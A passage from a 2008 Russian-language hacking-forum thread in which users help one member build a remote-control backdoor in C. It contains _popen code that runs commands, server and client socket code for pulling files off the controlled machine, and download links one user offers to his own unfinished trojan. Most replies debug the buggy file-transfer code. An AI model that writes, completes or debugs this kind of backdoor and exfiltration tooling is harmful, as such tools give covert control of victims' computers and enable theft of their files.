ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 08.12.2008, 16:58
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Цитата:
поугарал над админом, ну вообщем все как полагается =)
Никакие тебе "дополнительные средства перестраховки" не помогут, если ты будешь рвать волосы на жопе и кричать "я тебя похекал11"

Цитата:
Перехожу к сути. Нужно на сишке написать программку такого типа. Все бы ничего, но вот проблема: как сделать че-то типа виндовой командной строки, т.е. задаешь, например, команду dir C: и получаешь в качестве ответа список файлов на диске
Мой кривой и не дописанный клиент-серверный трой, клиент не сделан, сервер на 60% доделан, писал примерно с год назад .. за кривость не посылайте лучи поноса, это сырой и заброшенный проэкт)
скачать: http://rapidshare.com/files/171421315/bsAdmin.rar.html
зеркало: http://rghost.ru/64854
зеркало: http://d.lsass.us/271

PS: Делфи
 
Ответить с цитированием

  #12  
Старый 08.12.2008, 23:52
izlesa
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме:
414311

Репутация: 110
Отправить сообщение для izlesa с помощью ICQ
По умолчанию

_popen
Creates a pipe and executes a command.

MSDN!

Код:
#include <stdio.h>

int main(int argc, char *argv[])
{
	char cBuffer[128];
	FILE *pipe;
	
	pipe = _popen("ipconfig /all", "rt");
	if(pipe == NULL) exit(1);
	
	while(fgets(cBuffer, 128, pipe));
		printf(cBuffer);
	
	_pclose(pipe);
	return 0;	
	
}
Читай чаще MSDN ^____^ хотя в целом тебя это не спасёт. Круг системных утилит в Win ограничен. Для того же слития-залития файлов нужно будет модуль писать. Хотя если поднять у себя ftp то можно извратится, хотя лучше самому писать, много нового узнаешь ^____^
 
Ответить с цитированием

  #13  
Старый 09.12.2008, 13:09
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме:
163517

Репутация: 57
Отправить сообщение для Dobby007 с помощью ICQ
По умолчанию

Цитата:
Никакие тебе "дополнительные средства перестраховки" не помогут, если ты будешь рвать волосы на жопе и кричать "я тебя похекал11"
Здесь с тобой абсолютно согласен =) Это так... первые шаги. Само собой не самоцель - постебаться

Цитата:
Сообщение от izlesa  
_popen
Creates a pipe and executes a command.

MSDN!

Код:
#include <stdio.h>

int main(int argc, char *argv[])
{
	char cBuffer[128];
	FILE *pipe;
	
	pipe = _popen("ipconfig /all", "rt");
	if(pipe == NULL) exit(1);
	
	while(fgets(cBuffer, 128, pipe));
		printf(cBuffer);
	
	_pclose(pipe);
	return 0;	
	
}
Читай чаще MSDN ^____^ хотя в целом тебя это не спасёт. Круг системных утилит в Win ограничен. Для того же слития-залития файлов нужно будет модуль писать. Хотя если поднять у себя ftp то можно извратится, хотя лучше самому писать, много нового узнаешь ^____^
Ну здесь есть два варианта. Либо писать с нуля, либо использовать уже готовую либу/компонент для обычного обмена данными по портам, а дальше под себя формат "этих даных" сделать... Допустим если пришло PIC <picture_data>, то значит скриншот экрана и т.д. и т.п.
З.Ы. Про МСДН учту =)
 
Ответить с цитированием

  #14  
Старый 09.12.2008, 13:18
izlesa
Участник форума
Регистрация: 03.01.2008
Сообщений: 156
Провел на форуме:
414311

Репутация: 110
Отправить сообщение для izlesa с помощью ICQ
По умолчанию

угу, создаешь свой протокол, описываешь его и реализуешь.
 
Ответить с цитированием

и опять я =))))
  #15  
Старый 30.12.2008, 23:01
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме:
163517

Репутация: 57
Отправить сообщение для Dobby007 с помощью ICQ
Lightbulb и опять я =))))

Народ...
Вроде после долгих мучений и изучением (практически с нуля) как работать с сокетами на голом си, основную часть бэкдора сделал.
Вот-с значит... Надо теперь организовать отправку файла. Ну с текстовыми файлами проблем вообще нет никаких: накалякал код, что программка отправляла и принимала файлы ЛЮБЫХ размеров. А вот с бинарными... Т.е. например *.exe или *.jpg... не выходит че-то, проще говоря. А если точнее, не получается прочитать его. Читается какая-та определенная часть и фзё.
Вот код:
СЕРВЕР:
Код:
int sendfile(int ptr, char filename[255])
	{
	char temp[300]="";
	SOCKET client=(SOCKET)ptr;
	char filebuff[1024];
	char sendbuff[2048];
	int err,terr,i,size=0;
	FILE *fp,*fpd; //fpd специального для отладки сделал, чтоб понять в каком месте глюк возникает
	if(FileExists(filename)==True){
	fp=fopen(filename,"rb");
	fpd=fopen("filed","wb");
	int t=0;
	printf("\nSending file started:");
	ZeroMemory (&filebuff, sizeof (filebuff));
	ZeroMemory (&sendbuff, sizeof (sendbuff));
	while(1)
		{
		err=fread(filebuff,1,768,fp);
		terr=err;
		sprintf(temp,"%d",err+4);  //сюда записываю размер отправляемого пакета
		if(temp[1]==NULL)temp[1]='-';
		if(temp[2]==NULL)temp[2]='-';
		if(temp[3]==NULL)temp[3]='-';
		sprintf(sendbuff,"%s%s",temp,filebuff); //sendbuff - как вы уже поняли, массив (буфер) хранящий ту или иную часть содержимого файла
		t++;
		fputs(filebuff,fpd);
		if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
		return -1;
		printf("\nPacket #%d>> %d bytes read, %d of %d bytes send",t,terr,size,strlen(sendbuff));
		ZeroMemory (&filebuff, sizeof (filebuff));
		ZeroMemory (&sendbuff, sizeof (sendbuff));
		if (err<768) break; //чтение и отправка файла завершена
		}

		fclose(fp);  fclose(fpd);
		printf("\nSending file completed successfully...");
		return 1;
		}else{ //если файла не существует
		sprintf(temp,"ERROR_SENDING_FILE_TO_CLIENTFile does not exist: %s",filename);
		printf("\n%s",temp);
		send(client,temp,sizeof(temp),0);

	}
}
КЛИЕНТ (он уже с гуи):
Код:
int ret=0;char temp[20 * 1024]="";int i=0,j=0,t=0,k=0;
FILE *fp;char buff_x[20 * 1024];
MkDir("RcvdFiles");
sprintf(temp,"RcvdFiles\\%s",ExtractFilename(Edit4->Text.c_str()));  //путь для сохраняемого/принимаемого файла
unlink(temp);
		fp=fopen(temp,"wb");
		ret=512; t=0;
		while(ret>0)
		{
		strcpy(szRecvBuff,"");
		strcpy(temp,"");
		t++;
		ZeroMemory (&buff_x, sizeof (buff_x));
		ZeroMemory (&szRecvBuff, sizeof (szRecvBuff));
		ret = recv(s, szRecvBuff, 772, 0);
		if (ret != SOCKET_ERROR){
		if(t==1 && strstr(szRecvBuff,"ERROR_SENDING_FILE_TO_CLIENT")){return 2;}  //ошибка передачи файла
		strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
		k=Str2Int(temp);  //переводит строку в число
			sprintf(temp,"Пакет #%d>> Получено: %d из %d байтов. Записано: %d байтов",t,ret,k,strlen(szRecvBuff)-4);
			info(temp);  //выводит строку в MEMO
			fputs(&szRecvBuff[4],fp); 
			if(k<772){break;}
		}else{
		fputs("\nSOCKET ERROR",fp);return -1;
		}
		}
		fclose(fp);

   return 1;
Если вкратце... смысл кода такой: клиент вводит адрес до файла на сервере, тот получает этот путь, смотрит существует ли файл, и выдает "результат" обработки запроса
Скорее всего, че-то я туплю и наверное решение какое-то простое (как всегда по-жизни ) должно быть. Но блин парюсь уже два дня, не могу понять в чем дело.
Вообщем, помогите кто чем может =))

Последний раз редактировалось Dobby007; 30.12.2008 в 23:06..
 
Ответить с цитированием

  #16  
Старый 30.12.2008, 23:12
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

полностью код не просматривал, но что бросилось в глаза:
Код:
strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
в переменной содержащей размер будут содержаться нули значит strncpy не будет работать правильно
И еще - функция recv может еще возвратить 0 если соединение корректно завершено удаленным узлом. Не мешало бы это обрабатывать.
вообще tcp есть потоковый протокол, то есть твой алгоритм не должен зависеть от того, пришли ли данные одним пакетом или несколькими. А у тебя кажется зависит...
для пересылки файлов есть замечательная функция TransmitFile
лучше юзай ее
 
Ответить с цитированием

  #17  
Старый 30.12.2008, 23:29
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме:
163517

Репутация: 57
Отправить сообщение для Dobby007 с помощью ICQ
По умолчанию

Цитата:
Сообщение от bons  
полностью код не просматривал, но что бросилось в глаза:
Код:
strncpy(temp,szRecvBuff,4);   //четыре байта содержащие размер пакета
в переменной содержащей размер будут содержаться нули значит strncpy не будет работать правильно
Ну у меня максимальный размер пакета - 772. Если пакет занимает 72 байта, то остальные два символа переменной temp станут равными "-". Также и в остальных случаях. "-" будет ставится вместо, так сказать "недостающих цифр" Так что с этим все норм должно быть.

Цитата:
Сообщение от bons  
И еще - функция recv может еще возвратить 0 если соединение корректно завершено удаленным узлом. Не мешало бы это обрабатывать.
Так мне то это зачем? У меня как только заканчивается передача файла (не важно - успешно или с ошибкой), цикл прекращается...
Цитата:
Сообщение от bons  
вообще tcp есть потоковый протокол, то есть твой алгоритм не должен зависеть от того, пришли ли данные одним пакетом или несколькими. А у тебя кажется зависит...
У меня количество пакетов принятых клиентом и посланных сервером равны. И еще я же говорил, что текстовые файлы он моментом передает (без каких-либо ошибок), а с бинарными только че-то тупит.
Цитата:
Сообщение от bons  
для пересылки файлов есть замечательная функция TransmitFile
лучше юзай ее
Про ТрансмитФайл слышал, только вот где ее искать? В winsock2.h ее нету.

P.s. Спасибо кстати за оперативный ответ.
 
Ответить с цитированием

  #18  
Старый 30.12.2008, 23:43
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

по поводу TransmitFile
http://msdn.microsoft.com/en-us/library/ms740565(VS.85).aspx
Header: Mswsock.h
Library: Mswsock.lib
DLL: Mswsock.dll

Цитата:
У меня количество пакетов принятых клиентом и посланных сервером равны. И еще я же говорил, что текстовые файлы он моментом передает (без каких-либо ошибок), а с бинарными только че-то тупит.
в случае если клиент и сервер будут на разных компьютерах не факт что одному вызову send будет соответствовать один вызов recv. То есть подобные ошибки будут проявляться потом. И поэтому писать надо правильно.

и еще - ты записываешь в файл с помощью fputs. Насколько я помню она пишет ANSIZ-строку, то есть если в твоем буфере где-то есть нулевой байт то все что после него записано не будет. Если файл бинарный то так делать нельзя, он будет сильно искажен

Последний раз редактировалось bons; 30.12.2008 в 23:53..
 
Ответить с цитированием

  #19  
Старый 30.12.2008, 23:53
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
Провел на форуме:
163517

Репутация: 57
Отправить сообщение для Dobby007 с помощью ICQ
По умолчанию

Цитата:
Сообщение от bons  
по поводу TransmitFile
http://msdn.microsoft.com/en-us/library/ms740565(VS.85).aspx
Header: Mswsock.h
Library: Mswsock.lib
DLL: Mswsock.dll
Ок. Завтра посмотрим...
Цитата:
Сообщение от bons  
в случае если клиент и сервер будут на разных компьютерах не факт что одному вызову send будет соответствовать один вызов recv. То есть подобные ошибки будут проявляться потом. И поэтому писать надо правильно.
Ну а выход - блокирующий сокет, я так понимаю?
Цитата:
Сообщение от bons  
и еще - ты записываешь в файл с помощью puts. Насколько я помню она пишет ANSIZ-строку, то есть если в твоем буфере где-то есть нулевой байт то все что после него записано не будет. Если файл бинарный то так делать нельзя, он будет сильно искажен
Да. Согласен. Но у меня такое ощущение, что он и отправляет не то... Ну ладно... Завтра с утречка посмотрю, может че и получится ... В любом случае спасибо...
 
Ответить с цитированием

  #20  
Старый 30.12.2008, 23:57
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Цитата:
Сообщение от Dobby007  
Ок. Завтра посмотрим...
Ну а выход - блокирующий сокет, я так понимаю?
неправильно понимаешь

Цитата:
Сообщение от Dobby007  
Да. Согласен. Но у меня такое ощущение, что он и отправляет не то...
да, не то:

Код:
sprintf(sendbuff,"%s%s",temp,filebuff);
...
if((size = send(client,sendbuff,strlen(sendbuff),0))== SOCKET_ERROR)  //отправляем
return -1;
ты везде обращаешься с этим буфером как со строкой

Последний раз редактировалось bons; 31.12.2008 в 00:00..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваш самый первый день в интернете ))) dinar_007 Болталка 163 07.05.2010 16:21
ЭКСКУРС В ИСТОРИЮ: за что ты получил свой первый + NetSter Болталка 28 12.12.2008 17:54
Россия: первый приговор за сетевой экстремизм •••™NO FEAR™••• Мировые новости 4 28.04.2006 07:12
Первый Blu-Ray DVD-привод появится в январе dinar_007 Мировые новости 0 28.12.2005 14:27
Первый опыт)) <her0> Болталка 5 20.03.2005 16:10



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ